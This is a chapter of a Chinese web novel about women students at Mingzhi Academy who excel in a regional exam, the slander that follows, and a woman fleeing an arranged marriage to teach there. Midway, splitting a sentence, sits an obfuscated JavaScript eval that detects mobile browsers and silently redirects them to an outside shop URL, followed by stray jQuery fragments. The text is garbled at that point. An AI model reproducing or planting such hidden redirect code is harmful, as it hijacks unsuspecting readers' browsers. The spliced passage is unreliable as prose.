那侍从点了点头，有是有，就是……


    此时这郭知府哪里还注意得到侍从脸上犹豫的神色，一听有进榜上前三的广平府学子，高兴得都快找不到北了。


    “是第几？”若是能夺得榜首就太好了。


    “第二。”侍从应道。


    郭起心内不免有一瞬间的失落，不过很快就被他抛之脑后，第二也很好，以前从来没有过的，也不枉费自己耗费这么多的心力和钱财来办这一场集考了。


    “除了第二名，还有几个广平府的学子上榜，前十里面还有吗？”


    “前十里面还有两个，广平府统共上榜三十一个。”


    郭起听后简直欣喜若狂，三十一个，整整三十一个！这可是前所未有，出人意料！要知道能上榜的统共只有一百人，广平府的学子一下子就上了三十一个，这可真是大大地给他挣了脸面。


    “好，好！”郭起连称了几声好，“赏，都赏！”


    那侍从看着郭起高兴得忘乎所以的样子，犹豫着要不要提醒他，这上榜的三十一个人，一大半都是出自明智书院的女学生。


    郭知府这边还沉浸在忘乎所以的兴奋里，另一边的榜下，已经是一片躁动。


    “这怎么可能？”


    所有人都目瞪口呆，不敢相信。榜上第二竟然是来自明智书院的女子？莫不是负责誊榜的人写错了吧？


    然而更让他们惊讶的还在后头，明智书院参与集考的二十四个女子，无一例外全都上了榜，而且一半都在前列。


    这时，吵闹的人群里，默默走出一人，他便是今年集考的榜首，可是他此时并不怎么高兴，为何名列自己之下的会是个女子？他丝毫没有胜利的喜悦。


    “先生，我想知道今年的集考有没有内幕。”


    教了十几年书的男人抬眸看向自己的学生，“你认为有内幕？”


    “大家都这样说，说……”他似乎有些难以启齿，“明智书院的几个女先生都很貌美。”


    那先生没有解释什么，只是从一旁取出几张纸来，“这是集考三天，吕桃花的所有答卷，你可以先看看。”


    吕桃花便是今年集考的第二名，仅在眼前这位榜首之下。


    男子接过几张答卷一一看过，帖经、墨义无一错漏，策论答得也很好，惟‘诰’一题，写得有失水准，很明显她对这种格律不太熟练。


    “集考都是糊名，定下名次的时候，我们也都不知这份答卷的主人是个女子，等到拆封时，在场的先生们都很震惊。”


    “你觉得这份答卷如何？”先生问他。


    男子怔怔道：“很好。”他无法违心地说出‘不好’二字。


    “据我所知，这个吕桃花念书不过区区数年。人外有人，天外有天。修文，你在书院中向来拔尖，却也不必自傲，更不要恶意揣测他人。”


    一句话将面前男子说得面红耳赤，“是，弟子谨记。”


    然而外头的流言却愈演愈烈，暗指明智书院的女先生以美色进行交易，矛头甚至还指向了书院里的学生。


    “再这样下去，谁还敢送自家姑娘来我们书院里念书？”云渺满脸愁容。


    沈自歆则恼道：“他们那些男人向来如此，比不过便要泼脏水。古往今来，作污女子名节最是简单有用。”他们只需上下嘴唇一碰，就算你以死明志都没用，他们还要说你这是心虚。


    曲瑜珺冷笑一声，“不过是手下败将的恼羞成怒罢了。”


    他们惊讶于为何参加集考的二十四个女子全都上了榜，不信自己比不过女子，便恶意揣测其中有不可告人的内幕来掩饰自己的无能。


    他们如何能知晓，这二十四个姑娘对此次集考有多么重视。她们一生只有这么一次，能跟男子公平竞争的机会，她们心里都憋着一股劲儿，为着这一场考试拼尽了全力。而最终，结果没有辜负她们，却惹恼了那些落败之人。


    “好啊，他们要闹是不是？”曲瑜珺将手掌撑在书案上，一双眼睛似有烈火在燃烧，“那索性就闹得再大一些，把知府大人、知县大人，还有夷山书院的山长、先生；德阳书院的山长、先生都牵扯进来。到时，他们自会帮忙证明我们的清白。”


    只有火烧到自己身上，他们才会动手去扑。


    短短数日时间，谣言愈演愈烈，连德高望重的两位山长在流言中都成了色中饿鬼，更不要说是促成明智书院参加集考的知府大人本人了。


    郭知府见势不妙，立即派人查捕散播谣言之人，自己还指望着两年之内升迁呢，这谣言要是被上头知道了，自己还怎么升迁？


    而夷山书院和德阳书院的两位山长也不得不亲自出面将整个集考的过程一一公布，更有两个书院的全部先生作证。


    最后抓住的几个散布谣言的头头，亲口承认是因为自己没能上榜，出于嫉妒才恶意揣测。


    如此，这件事也算是平息了下去。


    虽然这件事对明智书院来说是一场无妄之灾，但也有那么一些好处，就是让更多的人知晓，今年集考，明智书院战绩斐然，统共二十四个学子参考，无一落榜，而且大半都名次靠前。


    虽然这二十四个姑娘大半都不是明智书院原本的学生，而是因为集考名额临时找过来的，但也已经足以让明智书院声名远播，吸引来更多想要念书的女孩子们。


    随着学生的增多，曲瑜珺她们也越发忙碌了，招录教书先生的告示贴出去，却久久不见人上门。


    这一日，书院刚落了锁，护院却听到外头有人在敲门，还以为是哪个学生落了东西，结果打开门一看，却并不是书院里的学生。


    “我姓孟，叫孟静芝，我想见一见……”


    孟静芝还未说完，护院大姐就认出了她，“我记得你，之前你来过几趟，当时集考放榜后，你还跟沈先生她们一起在书院里庆祝呢？”


    “对，是我。”


    “你先等一下，我进去禀报一声。”认得归认得，但外


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16432672|184030||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人不得随意进出书院，这是规矩，既然人家找了自己来做护院，自己就得尽职尽责。


    孟静芝很快被迎了进去，曲瑜珺望着孟静芝有些担心，“这么晚了，有什么事吗？”


    她知道孟静芝住得并不近，这么晚过来，只怕是有急事。


    “我想来这里做教书先生，可以吗？”


    孟静芝本欲通过集考出一口恶气，而结果也如她所愿，她在榜上第七，自己的那个三弟直接落了榜。


    起初父亲听到这个消息还以为是有人跟自己重了名，一直到官府的人将知府大人承诺的赏银送了来，他才终于确认，今年五府集考的第七名就是自己。


    她永远忘不了当时父亲脸上的表情，遗憾、懊恼，他那时一定是在埋怨上苍，为何偏偏把自己生作了女儿身。


    “我之前没有跟你们说，我是已经定了亲的人。我父亲将我卖给了一个双腿残废的公子哥儿，他的那双腿是早年在跟别人抢女人的时候，被人打断的。”


    孟静芝苦笑，“没想到吧，我父亲一直自诩诗书传家，却做出这样卖女求荣的事。那公子哥儿的姐姐在京中一户三品大员的府里做妾室，听说很得宠，将来能给我三弟的仕途铺路。原本我两年前就该嫁过去的，但因为那年他母亲去世，他要守丧，所以才耽搁了。”


    自己明明已经认命了，可这次集考却激发了她内心的不甘，难道这一辈子真的就只能这样了吗？一辈子无望地苟延残喘？


    终于，在得知明智书院招教书先生的时候，她下定决心跟家中决裂，来了这里。她原本是要带着母亲一起过来的，可母亲说什么都不肯，她也只得作罢。


    她想，这时候父亲一定气极了，却不一定会追到这里来。因为最不愿将这件事闹大的反而是最要面子的他。一旦将体面扯开，露出卖女求荣的里子，他诗书礼仪之家的名头还怎么传承？三弟的前程还怎么铺陈？自己反正是豁出去了，他们可还有诸多顾忌。


    孟静芝就这么在明智书院留了下来，十数日过去了，她家里人也没露面，孟静芝渐渐放了心。


    可这时，却有一则叫人心惊肉跳的消息自京城传来，曲瑜珺看过信后，手心已全是冷汗。


    “瑜珺……”


    沈自歆刚从前头学堂回来，就见着曲瑜珺眼神虚无，深一脚浅一脚地往外走，眼见着要碰倒地上的花盆都不知晓，忍不住出声唤了一句。


    曲瑜珺这才回过神来，站定了看向她。


    “怎么了？”沈自歆快步走过去，关切道。


    “秦掌柜的信上说，”曲瑜珺稳了稳心神，“于彦怀作假证诬告闵国公等人，并且有人告发他在审讯时一贯喜欢滥用私刑。事情暴露后，他趁夜潜入大理寺，杀了证人，而后……畏罪潜逃，眼下朝廷正在四处追捕他。”


    她想若是于彦怀要找个藏身之处，大约是他父母处，或者自己这边，她要赶着去吩咐书院的守卫，这阵子若是夜里有人敲门，一定不要将人赶走。